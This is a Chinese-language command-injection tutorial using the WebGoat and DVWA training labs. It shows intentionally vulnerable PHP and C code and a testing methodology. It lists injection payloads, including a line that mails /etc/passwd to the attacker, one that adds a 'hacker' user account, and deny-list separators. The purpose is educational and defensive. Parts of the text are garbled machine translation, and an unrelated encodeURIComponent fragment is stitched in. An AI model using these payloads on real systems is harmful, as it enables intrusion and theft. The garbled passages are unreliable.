實戰部分:
說明:這里我用的是OWASP的一個平台和DVWA
下面簡單說一下安裝方法(windows下):
先下載webscarab-current.zip(這個自帶tomcat,還有一個下載方式是war文件,需要自己安裝tomcat,建議使用第一個),地址為http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解壓到一個文件夾,運行webgoat.bat即可啟動其自帶的tomcat,通過訪問http://localhost/WebGoat/attack,輸入用戶名guest,密碼guest即可進入
ncodeURIComponent 方法
將文本字符串編碼為一個統一資源標識符 (URI) 的一個有效組件。
encodeURIComponent(encodedURIString)
必選的 encodedURIString 參數代表一個已編碼的 URI 組件。
說明
encodeURIComponent 方法返回一個已編碼的 URI。如果您將編碼結果傳遞給 decodeURIComponent,那么將返回初始的字符串。因為 encodeURIComponent 方法對所有的字符編碼,請注意,如果該字符串代表一個路徑,例如 /folder1/folder2/default.html,其中的斜杠也將被編碼。這樣一來,當該編碼結果被作為請求發送到 web 服務器時將是無效的。如果字符串中包含不止一個 URI 組件,請使用 encodeURI 方法進行編碼。
呵呵!此漏洞危害很大,不用多說。
DVWA部分
源碼
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
以上代碼我們可以看出, $target = $_REQUEST[ 'ip' ];直接從文本框中輸入的內容,沒有任何
限制,剛剛我們在上面也看到了,在操作系統中使用“&&”連接符(在windows下一個&和兩個&
都可以,在linux下一定要兩個),可以執行多條命令。
---------------------------------------------------------------------------------------------------
理論部分:
如何測試命令注入
總結
命令注入漏洞是特別危險的,因為它們允許未經授權的執行操作系統命令, 它們的存在,因為應用程序無法正確地驗證和消毒,使用時調用shell的功能,如的參數。 攻擊者與控制這些參數可以欺騙應用程序執行任何系統命令自己的選擇。
例如,UNIX應用程序列出了使用的文件夾的內容。 它需要的字符串FOLDER_NAME,從用戶,沒有任何驗證,連接到“ls”的建立實際的命令。 應用程序,然后通過命令(“LS FOLDER_NAME “)的系統()函數,並獲取結果。 一個命令注入漏洞,允許攻擊者注入額外的命 令在輸入字符串FOLDER_NAME的, 其結果是被欺騙應用程序執行攻擊者的額外的命 令。
為了正確測試命令注入漏洞,應遵循以下步驟:
第1步: 了解攻擊場景
第2步: 分析原因及對策
第3步: 開始試驗和探索
第4步: 微調測試案例
第1步: 了解攻擊場景
命令注入漏洞測試的第一步是要了解他們的攻擊的情況下, 有兩種常見的類型,命令注入漏洞:
直接命令注入。
間接命令注入。
方案1: 直接命令注入
最基本的形式包括直接提供的額外的易受攻擊的應用程序的命令。命令注入 攻擊者首先發現應用程序調用系統命令作為參數的命令,直接將用戶提供的數據, 那么攻擊者提供的惡意命令的預期參數。 應用程序執行原來的命令,然后惡意。
詳細步驟如下:
1. 攻擊者發現,該應用程序使用客戶端輸入來執行命令。
2. 攻擊者提供的惡意客戶端輸入命令的一部分。
3. 攻擊者觀察應用程序執行其他命令。
方案2: 間接命令注入
這種情況下,命令注入,直接地或間接地提供額外的易受攻擊的應用程序可以通過文件或環境變量的命令。 首先,攻擊者減去的應用程序調用系統命令,從外部數據源,如文件或環境變量 然后,攻擊者修改的內容的外部源中加入惡意的命令。 然后,攻擊者等待或強制執行惡意命令,與原來的應用程序。
詳細步驟如下:
1. 攻擊者發現,該應用程序使用的數據存儲在外部執行命令。
2. 攻擊者編輯外部來源包括惡意命令。
3. 攻擊者等待,直到應用程序執行原來的命令(或攻擊者試圖使該應用程序的狀態將在其中提供的命令執行)。
4. 攻擊者驗證的應用程序的執行注入的命令。
第2步: 分析原因及對策
在此步驟中,你就會明白命令注入漏洞以及共同防御的原因。 這將幫助您尋找代碼中的錯誤,並認識到安全的編碼實踐。
命令注入的原因
命令注入漏洞是一個單一的原因:可憐的輸入驗證。 建立任何應用程序,命令字符串中使用未消毒的數據容易受到此錯誤。下面的代碼片段演示了命令注入漏洞。這在Windows下運行使用PHP代碼的輸入提供一個文本框的形式和調用EXEC 功能,鍵入的文件:
<?php
$command = 'type ' . $_POST['username'];
exec($command, $res);
for ($i = 0; $i < sizeof($res); $i++)
echo $res[$i].'<br>';
?>
用戶可以提供以下字符串列表中的活動連接在服務器:
file.txt|netstat -ano
下面的例子在C + +(由OWASP [I])運行在一個符合POSIX標准的類Unix環境,如 使用提供的命令行輸入到系統並運行的cat命令:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );
system(command);
return (0);
}
用戶可以提供以下字符串的服務器的當前目錄的內容列出目錄的內容:
file.txt;ls
上面的代碼片段中使用兩種不同的功能,交互的shell 執行exec()和()。 下面的列表匯總了常用的功能,在命令注入攻擊:
Function Language
system, execlp,execvp, ShellExecute, _wsystem C/C++
Runtime.exec Java
exec, eval PHP
exec, open, eval, Perl
exec, eval, execfile, input Python
Shell, ShellExecuteForExplore, ShellExecute VB
命令注入對策
應用程序防御命令注入漏洞,通過做正確的輸入驗證和消毒。 開發人員必須看所有情況下,應用程序調用一個殼狀系統功能,如執行或系統,避免執行,除非參數被正確地驗證和消毒。 有兩種可能的方法來驗證這些參數:使用黑色列表或使用白名單。
黑名單檢查,然后才允許執行惡意模式。 命令注入的情況下,一個黑色的命令列表可能包含分隔符,如分號(;)垂直划線(|),雙破折號(| |),雙放大器(&&)危險的命令,如RM,CP,貓,LS,在凈參數,netstat,DEL,復制等, 但是,一個主要的缺點阻礙了這種對策是有效的,除非黑名單絕對是所有涉及危險的可能性,攻擊者可以找到以外的黑名單的變化,來進行攻擊。
白名單與安全執行模式匹配, 如果有問題的數據不匹配任何安全模式,這是不允許的。 這危險的構造,因為任何新的(惡意)結構的新變化,不符合安全的解決了這個問題一種是系統自動封鎖。 一個共同的方式來實現白名單是相匹配的輸入與安全的命令格式的正則表達式表示。 然而,復雜的正則表達式可以寫和解釋。 開發人員必須確保他們了解如何編寫和解釋正則表達式之前實施這一防御。
第3步: 開始試驗和探索
在此步驟中,您將開始測試您的應用程序的基本命令注入字符串,並觀察應用程序如何反應。
一個簡單的測試字符串的開始
首先,你需要找到所有的地方,你的應用程序調用系統命令來執行和操作, 然后在這些地方,開始探索如何命令注入所需的應用程序處理的基本特征。 以下兩個字符串是很好的嘗試因為它們包含命令和命令注入字符:
abc;dir C:|xyz&netstat (Windows)
abc;ls|cp&rm (UNIX)
如果應用程序沒有給出一個錯誤消息,因為特殊字符,然后有機會的話,它受到從命令注入漏洞。
建立一個有效的命令
重要的是,你是能夠理解的。 例如,未找到文件的錯誤,而不是一個無效的數據格式錯誤是一個很好的提示,應用程序需要處理的特殊字符作為文件的一部分。 例如,你可能會得到一個找不到文件的錯誤時,使用下列字符串:
file.txt|dir c:
這是因為應用程序調用exec()的以下字符串:
cmd /c type "c:\public_html\user_files\file.txt|dir c:"
對於輸入字符串執行附加額外的命令之前,你需要關閉的雙引號的目錄列表命令:
file.txt"|dir c:
需要特別注意引號和雙引號,因為省略了,他們可以很容易導致注入字符串作為數據處理。
有時應用程序不反映注入的在屏幕上的命令的輸出。為了解決這個問題,使用命令不創建屏幕輸出,但執行一個可見的行動:
file.txt;mail </etc/passwd
Emails attacker the server’s passwords.
file.txt|net user /add "hacker"
Adds hacker to the Windows user database.
file.txt;ping%20attacker_site Pings the attacker site.
第4步: 微調測試案例數據
徹底地測試您的應用程序對命令注入漏洞,你必須覆蓋所有可能的入口點和命令注入是可能的情況下的。
嘗試不同的切入點和場景
繼續探索不同的應用程序的入口點。 測試的情況下,數據的格式會有所不同的入口點。 例如,如果你正在測試通過URL字符串file.txt的“ DIR C:可能看起來像一個2以下(取決於上的URL編碼):
file.txt"|dir%20c:
file.txt"|dir+c:
重要的是,你考慮不同的編碼方式和數據格式額外的命令注入的入口點,如:輸入字段,URL參數,POST數據,Web服務方法,用戶界面元素,環境變量,數據庫的內容,注冊表內容,文件的內容,第三黨的API,和網絡數據包。
當間接命令注入進行測試時,重要的是你控制的源傳遞到目標函數的參數。 例如,如果你被攻擊一個使用應用程序 ,你必須控制傳遞給這個函數的文件。 讓我們說的應用程序使用而execfile /私營/ commands.txt的,在這里你不需要通過任何惡意的參數,你必須修改命令文件注入惡意指令,並等待(或強迫)注入要執行的命令。這是建議,進行測試時,直接噴射,您使用的環境監測工具。 您可以使用Sysinternals Process Explorer的注冊表,文件系統,現在結合,找出您的應用程序使用的外部資源時調用shell或系統環境變量監控的命令。
結論
命令注入漏洞存在,因為窮人的輸入驗證和消毒交互的功能與操作系統的shell所使用的參數。 任何攻擊者控制這些參數可以強制應用程序執行不必要的系統命令。 命令注入漏洞進行對比測試,包括操縱原來的命令參數,命令注入的字符串,取決於要執行的操作的入口點下測試不同的組合。